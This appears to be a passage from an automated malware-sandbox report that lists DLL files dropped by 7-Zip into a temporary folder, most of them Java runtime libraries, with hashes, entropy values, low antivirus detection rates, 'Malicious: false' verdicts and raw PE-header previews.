SHA-256:	AA7CE116903605F686652750445DB30DFD9E628A77E2F03D83857351565A3088
SHA-512:	1084D1481A6CF7A307F8D072D019D80816C475820135BA310D1F3504189C41F9D1D7ED705212B1DD5438729F9CA0B5303170B1A1B16946C3AA580A541208EC0C
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	low
Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$........)].GH3.GH3.GH3.N0..OH3.. 2.CH3.. 6.]H3.. 7.OH3.. 0.DH3.e(5.FH3.e(2.AH3..!2.DH3.GH2.-H3..!6.DH3..!3.FH3..!..FH3.GH..FH3..!1.FH3.RichGH3.........................PE..d...e.s_.........." .....J...R......PH....................................................`.........................................................................................0l..T............................l...............`...............................text....H.......J.................. ..`.rdata..x9...`...:...N..............@..@.data...x...........................@....pdata..............................@..@.rsrc...............................@..@.reloc..............................@..B................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\platforms\config\img\SceneContainerCommand.dll

Download File

Process:	C:\Windows\SysWOW64\7za.exe
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	42496
Entropy (8bit):	5.577659402867677
Encrypted:	false
SSDEEP:	768:QnpHPFaN1MRX61aN5uTNe4c7NiXJceZiwk:Qn3arM4ckNAUyekwk
MD5:	19BC0BBF7FF8BB13E43BD349EAD39BC0
SHA1:	BD6422CB0F5EECA4220857E81941469A02749579
SHA-256:	950942638F8B620637E37E62E97CC00802D87E2735090C2EF3577349CDD5D1A2
SHA-512:	8D833FE88AA7CF8D53E8C3339F50CD61637ECA4D8F5B585D77D8C289A878A5A127141FC0BD24520C69EA146E10D942E2E4EBADD7AE46F0A05E4AA4438AD15B4F
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........sa...........j......z......z......z......z.....r......{.....\@.............{......{......{............{.....Rich....................PE..d...e.s_.........." .....P...R......`V....................................................`.........................................@...................P............................m..T............................m...............`...............................text...>O.......P.................. ..`.rdata..b>...`...@...T..............@..@.data...............................@....pdata..............................@..@.rsrc...P...........................@..@.reloc..............................@..B........................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\platforms\config\img\StyleTransfer.dll

Download File

Process:	C:\Windows\SysWOW64\7za.exe
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	39936
Entropy (8bit):	5.4461722579115905
Encrypted:	false
SSDEEP:	768:HSSShN8rSZhiV0Y1cL7j9XLfqsy91bMwNPMJOdq:dRihiV0YW7j9bfq71bh2Edq
MD5:	FD76365E64A42C4681787EF9B007B345
SHA1:	08B2219086EF15E69A8F39CDCC3C97B971426C39
SHA-256:	775BC0A36F47FC2A8BF3D10D4CFC36135249E227722CE091250DF6E7A00EE5D9
SHA-512:	0B78C265530554D5D43483510615A100A1FF62F9D37A91BA2870D63724DBAA9FF71EB3061B1D85061AF8B0CA4FF01FD7D1F5EB759E2288B81746BEA9CC4314E8
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........c.h...h...h.......h.......h.......h.......h.......h.......h.......h.......h...h...h.......h.......h.....h...h...h.......h..Rich.h..........PE..d.....s_.........." .....H...R......$H....................................................`.............................................`............................................k..T...........................0l...............`.. ............................text....F.......H.................. ..`.rdata..l<...`...>...L..............@..@.data...H...........................@....pdata..............................@..@.rsrc...............................@..@.reloc..............................@..B................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\platforms\config\img\Tesselator.dll

Download File

Process:	C:\Windows\SysWOW64\7za.exe
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	41984
Entropy (8bit):	5.78630922866382
Encrypted:	false
SSDEEP:	768:B/aw343WsdXqJxDMo7f4klYZumuhG9gFCwb:lKTXmNMo7f1YUE9Wb
MD5:	16FED32D7CAAC23A3507C599EC8FCAEE
SHA1:	09ABD989A7432A283EB510AF6178D4863F4D35C6
SHA-256:	D501D922147EA36F92BEC2EB20AE37E9BEE6593142A3345E5AE0E9D91D91C53D
SHA-512:	7EC36AA6E1DEB5F019A6063D95E7D4ECD9300F4BA05E935AA90C0A599B0E97A80EFA6F3EE806F3D280FFC7D79D1EC81E7DA13413E02C3FC8F84D5DCE16759A73
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$............f..f..f......f..g..f..c..f..b..f..e..f...g..f.K.g..f..g.f.K.c..f.K.f..f.K...f.....f.K.d..f.Rich.f.................PE..d.....s_.........." .....\...F.......\....................................................`............................................H.......................................\|...Py..T............................y...............p..x............................text...NZ.......\.................. ..`.rdata.../...p...0...`..............@..@.data...@...........................@....pdata..............................@..@.rsrc...............................@..@.reloc..\|...........................@..B................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\platforms\config\img\VectorOperator.dll

Download File

Process:	C:\Windows\SysWOW64\7za.exe
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	39424
Entropy (8bit):	5.859531315919287
Encrypted:	false
SSDEEP:	384:DNLrgGbTHQBmaE8NdFsWAr8mzdIUHEIwtf0S7UVc0okMboIKkGU3gTteouyu9rK8:Dxr7bTHeLKtrxzCT9wSnGtZexOiohg
MD5:	4BE1AFCEF505AABDFA6D5EEEC4E67841
SHA1:	18C1CF7940D3DFD9829CC8CF2B872753016FC917
SHA-256:	5C4C8CB69BEACC874A68B267AE885C0FA02EF11D4E01F0267CE4EDBCFF9B3901
SHA-512:	D042B2868EA62DC2D862D215BDD3D6B8B890477FDD589D45EB9DCF12AC723C865B2B7D82FD188D2BAE5E48C542D823E313EE2AD3948A4EAACC761BB73A1C5BD0
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........................\....................................X.............X......X.......X.0.......X.....X.......Rich............................PE..d...l.s_.........." .....X...@......8]....................................................`.............................................@... .......................................py..T............................y...............p..(............................text....V.......X.................. ..`.rdata.../...p...0...\..............@..@.data...h...........................@....pdata..............................@..@.rsrc...............................@..@.reloc..............................@..B........................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\platforms\config\img\XMLDOMObject.dll

Download File

Process:	C:\Windows\SysWOW64\7za.exe
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	43008
Entropy (8bit):	5.62023625472812
Encrypted:	false
SSDEEP:	768:CpoZBhbihxJoH6X8+BZMcAzflH7dw4qleGu:Go1ihx+HO8+BCzdH7W4QeF
MD5:	BB9DDE756B3DE9766164C3736459B057
SHA1:	D8CE8B84BE6FFF09B69E830619CCDB150B26BAD3
SHA-256:	E7596443B8785906C2E5DD45E2137DC07E5AA1A2B94B135BDC9A257B261DE9BB
SHA-512:	A23A915FAEED10D381206BF78C392D896438CCD3FA048C7AB0A29404F06ECAD50C81661284D1EB91700FDA0803B321D9AC07B2006460C90F41E58091D51CEF8C
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........D3..`..`..`..`..`..+a..`../a..`...a..`..)a..`..+a..`<.+a..`..+`.`<./a..`<.a..`<..`..`...`..`<.(a..`Rich..`................PE..d...C.s_.........." .....X...T.......Q....................................................`.............................................T........................................... }..T............................}...............p..X............................text...NV.......X.................. ..`.rdata..4:...p...<...\..............@..@.data...............................@....pdata..............................@..@.rsrc...............................@..@.reloc..............................@..B................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\platforms\jre\ImageMetaData.dll

Download File

Process:	C:\Windows\SysWOW64\7za.exe
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	49152
Entropy (8bit):	5.703743915578071
Encrypted:	false
SSDEEP:	768:f05oVjaPIR7I+cC005Ot+S5tNRxXQzV+Q82Hmdxr:0yZR7dcCVK+ytNfgzgQGPr
MD5:	32BDDDCFB9D2BD2D5C80FD825871C0BF
SHA1:	06864A5F27062CA885946C61A317DA1F28A33778
SHA-256:	E96A8DD54A00CFEC0869E1A2718231F19FF3895C0143D88F1C63CBC4C4BAEC01
SHA-512:	30860A1DAECD2F3FBCCD276B8AA15E216AAB5B40D3E378875CA4E43C150ACAC8B83E5CBE0BEEEB72451E8D4E72899A566B7C691CB774F8BFF60CBE4380AF85E6
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........TQ..:...:...:.......:..;...:..?...:..>...:..9...:...;...:...;...:...;...:...;...:...?...:...:...:.......:......:...8...:.Rich..:.........PE..d...`.s_.........." .....`...^......``....................................................`........................................................................................0\|..T............................\|...............p...............................text...N^.......`.................. ..`.rdata...G...p...H...d..............@..@.data...h...........................@....pdata..............................@..@.rsrc...............................@..@.reloc..............................@..B................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\platforms\jre\ImageStitcher.dll

Download File

Process:	C:\Windows\SysWOW64\7za.exe
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	103424
Entropy (8bit):	5.910867425082602
Encrypted:	false
SSDEEP:	1536:m3DebXrQPmPEk0x4J1bEpDqMbIvpdUQK+5XkVqzOK/4W202xMP:muc3KoqmmpdO+YqzOK/4Wf2KP
MD5:	AEB541157023C77E0721B92466B72B8F
SHA1:	DFC3CAC3BA4C6834B40974482CB2FCFF4C6E88C5
SHA-256:	A426116887174EC7BF4C5017C47E78D7CB8F63AC54E3EB08A7FC4401E3EBCE2D
SHA-512:	E480CE5BE11D36D3E1B65DF898ED8F9C79B15B5745EE293FB08C23E3CCF4F2068687DAECFF97D25BB4FA403D8BC5C7CEFB95F6FE7165AE8325416EEE81A6FEB9
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......>...zf..zf..zf..s.d.tf..(...~f..(..of..(..}f..(...xf..X...xf...=..xf......yf..zf...f.....}f......{f......{f..zf`.{f......{f..Richzf..................PE..d.....s_.........." ................\|.....................................................`..........................................X..h...8Z..........................................T............................................................................text............................... ..`.rdata...}.......~..................@..@.data................r..............@....pdata...............~..............@..@.rsrc...............................@..@.reloc..............................@..B........................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\platforms\jre\InterfaceCommand.dll

Download File

Process:	C:\Windows\SysWOW64\7za.exe
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	114176
Entropy (8bit):	5.938824469833493
Encrypted:	false
SSDEEP:	3072:9tNUlyhx2HphhkUjJ48mR89nf4MFyKy+kGepQh:S5kwJ48+8xf4rKy+apQ
MD5:	C3E8328A10626D34BEF58BEAE0EF1AD1
SHA1:	4F4D1715DB676F935ECCBA269B676073EF12333D
SHA-256:	E1C990FF81D9BC76A614411F932A955FF80C95BAB904775FB9D2758462C53C77
SHA-512:	6B4FF29CC1B2EBC043562930FE4A0974E497E9CECD785D7E07EFFB5EA2641DC6FB430EB2C6768DC3738344B29D79F330C6B41CA529C5F690DEA4AA1C79AA541E
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$............~...~...~....h..~.......~.......~.......~.......~.......~....<..~.......~..C,g..~...~..H~.......~.......~.......~...~l..~.......~..Rich.~..........PE..d...r.s_.........." ......................................................................`.....................................................................................L....^..T............................_...............0...............................text...>........................... ..`.rdata..:....0......................@..@.data...............................@....pdata..............................@..@.rsrc...............................@..@.reloc..L...........................@..B........................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\platforms\jre\InterfaceCreation.dll

Download File

Process:	C:\Windows\SysWOW64\7za.exe
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	5.939671688796855
Encrypted:	false
SSDEEP:	1536:0++zx9lSJknOJVUSO7S5Mar/YRrKKEkjttUTZ9N0q0J0rVr5mSdAXoY:01t9lS6CVRTCrKsjbUTH0kVr8S8oY
MD5:	DAE1D16D8390CFAC5F6E139DA2D7547F
SHA1:	4C06A8A40C279FBEEC7A5CA8622DBB49222A94F4
SHA-256:	9689F733245A3AB9162BB290FA7DDF661D2AEE52EB1495B68BEE3935CCFAFDFB
SHA-512:	6CB9BB87AB3BAAB1DC0093AAF8DBCABF8F1F3D1C82A57E2EEAF1BFD67A250AD73A7E940EBF62CC1DB49BD77A67797F0A6A8DC47C09DD86F04135FADB6318244F
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.............{...{...{.......{...z...{...~...{.......{...x...{..z...{.cy....{.e.z...{...z.-.{.e.~...{.e.{...{.e.....{.......{.e.y...{.Rich..{.........PE..d...E.s_.........." ................(.....................................................`..........................................e..........................D...................@)..T............................)...............................................text............................... ..`.rdata..............................@..@.data...H...........................@....pdata..D...........................@..@.rsrc...............................@..@.reloc..............................@..B................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\platforms\jre\InterfaceUnique.dll

Download File

Process:	C:\Windows\SysWOW64\7za.exe
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	58880
Entropy (8bit):	5.843835373415157
Encrypted:	false
SSDEEP:	768:18vKQ9FeEztyyEUNk2+aq0kAk71w2xWxpf9Q/VEo3prr2JBBGoTEG6US:Gbudy+aqEg1Uxpfu/yo3prr2HG4r1S
MD5:	54CB9C4D915BA68BDB5549145EA4D8BE
SHA1:	7EAB3143A254AE6A385DF5E0449AEDB661809DA7
SHA-256:	62ADB297A7123DA1AF84644A976A9C378F7412A0FF90EFAD4BE0F0B40F213F5D
SHA-512:	43ECF52A1C89EDE38C51F73E9FC5190B24219C521B049606D9701F3B67CA2BE24C5831F4D68EB4D6551E558D6A28733B4B0CE32985EB198A8FEAE9B4DF342400
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	low
Preview:	MZ......................@...................................(...........!..L.!This program cannot be run in DOS mode....$.......D......^...^...^..a^...^R.._...^R.._...^R.._...^R.._...^".._...^".._...^.T5^...^..._...^...^...^..._...^..._...^...^...^..e^...^..._...^Rich...^........................PE..d.....s_.........." .....\|...h.......}.......................................0............`................................................................................. .........T...........................@...................X............................text....z.......\|.................. ..`.rdata...S.......T..................@..@.data...............................@....pdata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B........................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\platforms\jre\JSONCommand.dll

Download File

Process:	C:\Windows\SysWOW64\7za.exe
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	54784
Entropy (8bit):	5.762811271029161
Encrypted:	false
SSDEEP:	768:bCv5LpLCKCMebCFaZTg2NyZ0IN0HKz713PbdFZ/XN4Ju6:bI1pLbebx0Z0IN0HKz7135FZ/Cs6
MD5:	8C03BBED4628E4A949DAD89B0287C91C
SHA1:	087288A8259E1491E7B1BE2E809C12770FA367B5
SHA-256:	54D459DC5177085316C5DE7D04660A82EC74B29E615AE22B9D33F6C2A6FF3EA3
SHA-512:	CB13D6ED1F623C44AAB4DE95A7CEF161B617F55221541E7DD8AB91A76B040D13189CF223E3A32165F984898F76BE4ADAAB8E8B6BB065D38A0C044316F45ED8A1
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......f..Q"..."..."...+.H.&...p...&...p...0...p...%...p...#....... .......'..."...Z.......&.......#.....$.#...".L.#.......#...Rich"...........................PE..d...E.s_.........." .....v...^.......y....................................... ............`............................................ ...............................................T............................................................................text...tt.......v.................. ..`.rdata.."I.......J...z..............@..@.data...H...........................@....pdata..............................@..@.rsrc...............................@..@.reloc..............................@..B........................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\platforms\jre\bin\JAWTAccessBridge-32.dll

Download File

Process:	C:\Windows\SysWOW64\7za.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	14912
Entropy (8bit):	6.141852308272967
Encrypted:	false
SSDEEP:	192:7pQMhM63XLPVT6MsMPapRuBUEp7nYe+PjPriT0fwtK:7muL7PV4aapRuBTp7nYPLr7J
MD5:	D63933F4E279A140CC2A941CCFF38348
SHA1:	75169BE2E9BCFE20674D72D43CA6E2BC4A5A9382
SHA-256:	532D049E0D7A265754902C23B0F150D665A78A3D6FE09AD51C9BE8C29D574A3D
SHA-512:	D7A5023A5EB9B0C3B2AD6F55696A166F07FA60F9D1A12D186B23AAAACC92EF948CB5DFFA013AFC90C4BBE3DE077D591185902384F677D0BAE2FF7CFD5DB5E06C
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........5.Z.[.Z.[.Z.[.A<..[.[.A<..Q.[.A<.._.[.S...X.[.Z.Z.D.[.A<..Y.[.A<..[.[.A<..[.[.A<..[.[.RichZ.[.................PE..L...yPjW...........!......................... .....m.........................`......em....@.........................`%......,"..P....@..x............"..@....P.. .... ............................... ..@............ ...............................text............................... ..`.rdata..d.... ......................@..@.data...`....0......................@....rsrc...x....@......................@..@.reloc..^....P....... ..............@..B........................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\platforms\jre\bin\JAWTAccessBridge.dll

Download File

Process:	C:\Windows\SysWOW64\7za.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	14912
Entropy (8bit):	6.1347115439165085
Encrypted:	false
SSDEEP:	192:0Usw4DPU3XLPVT6GsKOhWIutUinYe+PjPriT0fwyI8:ew7PVIKyWIutDnYPLr728
MD5:	B4EB9B43C293074406ADCA93681BF663
SHA1:	16580FB7139D06A740F30D34770598391B70AC96
SHA-256:	8CD69AF7171F24D57CF1E6D0D7ACD2B35B4EA5FDF55105771141876A67917C52
SHA-512:	A4E999E162B5083B6C6C3EAFEE4D84D1EC1C61DCA6425F849F352FFDCCC2E44DFEE0625C210A8026F9FF141409EEBF9EF15A779B26F59B88E74B6A2CE2E82EF9
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 3%
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........5.Z.[.Z.[.Z.[.A<..[.[.A<..Q.[.A<.._.[.S...X.[.Z.Z.D.[.A<..Y.[.A<..[.[.A<..[.[.A<..[.[.RichZ.[.................PE..L...zPjW...........!......................... .....m.........................`.......2....@.........................`%......,"..P....@..p............"..@....P.. .... ............................... ..@............ ...............................text............................... ..`.rdata..a.... ......................@..@.data...`....0......................@....rsrc...p....@......................@..@.reloc..^....P....... ..............@..B........................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\platforms\jre\bin\JavaAccessBridge-32.dll

Download File

Process:	C:\Windows\SysWOW64\7za.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	128064
Entropy (8bit):	6.428684952829155
Encrypted:	false
SSDEEP:	3072:uN77TJSG78+5Orcj5K/e2Hrgc6kZAn1yEkBKMKy1Zf22QYHJiuzTl8ShzzM+64mn:uNXd178+5fJZnQLo
MD5:	2F808ED0642BD5CF8D4111E0AF098BBB
SHA1:	006163A07052F3D227C2E541691691B4567F5550
SHA-256:	61DFB6126EBA8D5429F156EAAB24FF30312580B0ABE4009670F1DD0BC64F87BB
SHA-512:	27DBDA3A922747A031FF7434DE5A596725FF5AE2BC6DD83D6D5565EB2BA180B0516896323294459997B545C60C9E06DA6C2D8DD462A348A6759A404DB0F023A7
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........[d.@:.N@:.N@:.N[..NB:.N[..NB:.N[..NK:.NIB.NE:.N@:.N{:.N[..NG:.N[..NA:.N[..NA:.N[..NA:.NRich@:.N........PE..L...rPjW...........!................#..............m................................p.....@.........................p...........P.......x...............@...........................................p...@............................................text............................... ..`.rdata..............................@..@.data...............................@....rsrc...x...........................@..@.reloc..$...........................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\platforms\jre\bin\JavaAccessBridge.dll

Download File

Process:	C:\Windows\SysWOW64\7za.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	127552
Entropy (8bit):	6.413283221897154
Encrypted:	false
SSDEEP:	3072:SdQ4jWJt4XChlFavveKSQ4gHK/e2Hrgc6kZAn1y1koKMKy1Zf22QYHJiuzTl8ShM:Sy4SJ1TFavvehc7ZnwEr
MD5:	C3DED5F41E28FAF89338FB46382E4C3E
SHA1:	6F77920776D39550355B146D672C199A3941F908
SHA-256:	4691603DFABE6D7B7BEAC887DADC0E96243C2FF4F9A88CE3793E93356C53AA08
SHA-512:	23621F2856899F40CFA9858DC277372BFE39F0205377543EB23E94422D479A53FDF664F4A9A4515C2285811F01D91AB64A834A03A4D3AB0CB7D78F8AF11135FF
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 4%
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........[d.@:.N@:.N@:.N[..NB:.N[..NB:.N[..NK:.NIB.NE:.N@:.N{:.N[..NG:.N[..NA:.N[..NA:.N[..NA:.NRich@:.N........PE..L...sPjW...........!...............................m......................................@.........................@...........P.......p...............@...........................................H...@............................................text...n........................... ..`.rdata..............................@..@.data...............................@....rsrc...p...........................@..@.reloc..............................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\platforms\jre\bin\WindowsAccessBridge-32.dll

Download File

Process:	C:\Windows\SysWOW64\7za.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	97856
Entropy (8bit):	6.467907542894502
Encrypted:	false
SSDEEP:	1536:/fHGbDtpt+WfGegcX30EJ4YHiYmRkgAPe+GP8uWg1kQOPt:/w2WfGe/30EWbY4Z+GpWuHOPt
MD5:	F78D2BF2C551BE9DF6A2F3210A2964C1
SHA1:	B6A4160ECA4C0D0552234FF69BCFDF45F0A2A352
SHA-256:	9D18E5421A8606985FA54D7CEA921D1B8930358A2E4CDF5FDF2A8B3E4D857288
SHA-512:	AAC8622683BE57518F8B03198A03BF1F760E082692C1FB6252E96CDBA19D3CEB0A6786CCBD7B98830E865297308FA99DBBEA464E41041ABDDA18AEB862BA993F
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 2%
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......./zR/k.<\|k.<\|k.<\|p..\|{.<\|p..\|2.<\|bc.\|n.<\|k.=\|7.<\|p..\|O.<\|p..\|j.<\|p..\|j.<\|p..\|j.<\|Richk.<\|........................PE..L...pPjW...........!................At.............p................................7P....@..........................9..A....1..<....................f..@............................................,..@...............@............................text...\........................... ..`.rdata..Qg.......h..................@..@.data...`,...P.......8..............@....rsrc................F..............@..@.reloc..J............N..............@..B........................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\platforms\jre\bin\WindowsAccessBridge.dll

Download File

Process:	C:\Windows\SysWOW64\7za.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	95808
Entropy (8bit):	6.48897048228647
Encrypted:	false
SSDEEP:	1536:EHSB4i2hJwZaDEoDVzkhbyJCAqn9nV+1vkJnHBoY8BK5Hj:EJJwZWEoDVYby81yiBovkHj
MD5:	E5A6231FE1E6FEC5F547DFD845D209BC
SHA1:	3F21F90ECC377B6099637D5B59593D2415450D45
SHA-256:	51355EA8A7DC238483C8069361776103779CE9FE3CD0267770E321E6E4368366
SHA-512:	D5D20DF0089F3217B627D39ABD57C61E026D0DC537022FB698F85FA6893C7FA348C40295DEEC78506F0EF608827D39E2F6F3538818BA25E2A0EE1145FCC95940
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 4%
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......./zR/k.<\|k.<\|k.<\|p..\|{.<\|p..\|2.<\|bc.\|n.<\|k.=\|7.<\|p..\|O.<\|p..\|j.<\|p..\|j.<\|p..\|j.<\|Richk.<\|........................PE..L...qPjW...........!................!o.............p......................................@.........................p7..>...<0..<.......x............^..@...........................................(+..@...............@............................text...<........................... ..`.rdata...e.......f..................@..@.data...`,...P.......0..............@....rsrc...x............>..............@..@.reloc..J............F..............@..B........................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\platforms\jre\bin\awt.dll

Download File

Process:	C:\Windows\SysWOW64\7za.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1182272
Entropy (8bit):	6.63089480914076
Encrypted:	false
SSDEEP:	24576:68M4H6ioDs5FELnSbY6Ck2IlAnVCXQlFg3:9eaGnkXQlFQ
MD5:	159CCF1200C422CED5407FED35F7E37D
SHA1:	177A216B71C9902E254C0A9908FCB46E8D5801A9
SHA-256:	30EB581C99C8BCBC54012AA5E6084B6EF4FCEE5D9968E9CC51F5734449E1FF49
SHA-512:	AB3F4E3851313391B5B8055E4D526963C38C4403FA74FB70750CC6A2D5108E63A0E600978FA14A7201C48E1AFD718A1C6823D091C90D77B17562B7A4C8C40365
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......Q.Q...?...?...?......?.......?.......?.z...?.......?.......?...>.;.?.....s.?.....w.?.......?.......?.......?.Rich..?.........................PE..L...nPjW...........!................,G.............m.........................P......Y.....@.................................,{...........N..............@....P......................................v..@............... ....V..`....................text...<........................... ..`.rdata.............................@..@.data...8....@...~...2..............@....rsrc....N.......P..................@..@.reloc.......P......................@..B........................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\platforms\jre\bin\bci.dll

Download File

Process:	C:\Windows\SysWOW64\7za.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	15424
Entropy (8bit):	6.380726588633652
Encrypted:	false
SSDEEP:	384:1Td3hw/L3kKLnYgIOGOOssnPV5Lnf6onYPLr7EbH:1zw/bkKLt7KnddnfPC7S
MD5:	A46289384F76C2A41BA7251459849288
SHA1:	4D8EF96EDBE07C8722FA24E4A5B96EBFA18BE2C4
SHA-256:	728D64BC1FBF48D4968B1B93893F1B5DB88B052AB82202C6840BF7886A64017D
SHA-512:	34D62BEB1FA7D8630F5562C1E48839CE9429FAEA980561E58076DF5F19755761454EEB882790EC1035C64C654FC1A8CD5EB46ECA12E2BC81449ACBB73296C9E8
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........6...W..W..W../x.W...w.W..W..W....s.W...u.W...@.W...A.W...p.W...q.W...v.W..Rich.W..........................PE..L...nPjW...........!......................... .....m.........................`.......9....@..........................'......\|$..<....@...............$..@....P....... ..............................8#..@............ ...............................text............................... ..`.rdata..v.... ......................@..@.data...p....0......................@....rsrc........@......................@..@.reloc.......P......."..............@..B........................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\platforms\jre\bin\dcpr.dll

Download File

Process:	C:\Windows\SysWOW64\7za.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	142912
Entropy (8bit):	7.350682736920136
Encrypted:	false
SSDEEP:	3072:aoGzTjLkRPQ9U9NuLqcNicj5ojGylYCE2Iu2jGLF5A9bE8LUekfCz:LGz/oRPGLJN1IGgYCE2L1F5A9bEGUeR
MD5:	4BDC32EF5DA731393ACC1B8C052F1989
SHA1:	A677C04ECD13F074DE68CC41F13948D3B86B6C19
SHA-256:	A3B35CC8C2E6D22B5832AF74AAF4D1BB35069EDD73073DFFEC2595230CA81772
SHA-512:	E71EA78D45E6C6BD08B2C5CD31F003F911FD4C82316363D26945D17977C2939F65E3B9748447006F95C3C6653CE30D2CDA67322D246D43C9EB892A8E83DEB31A
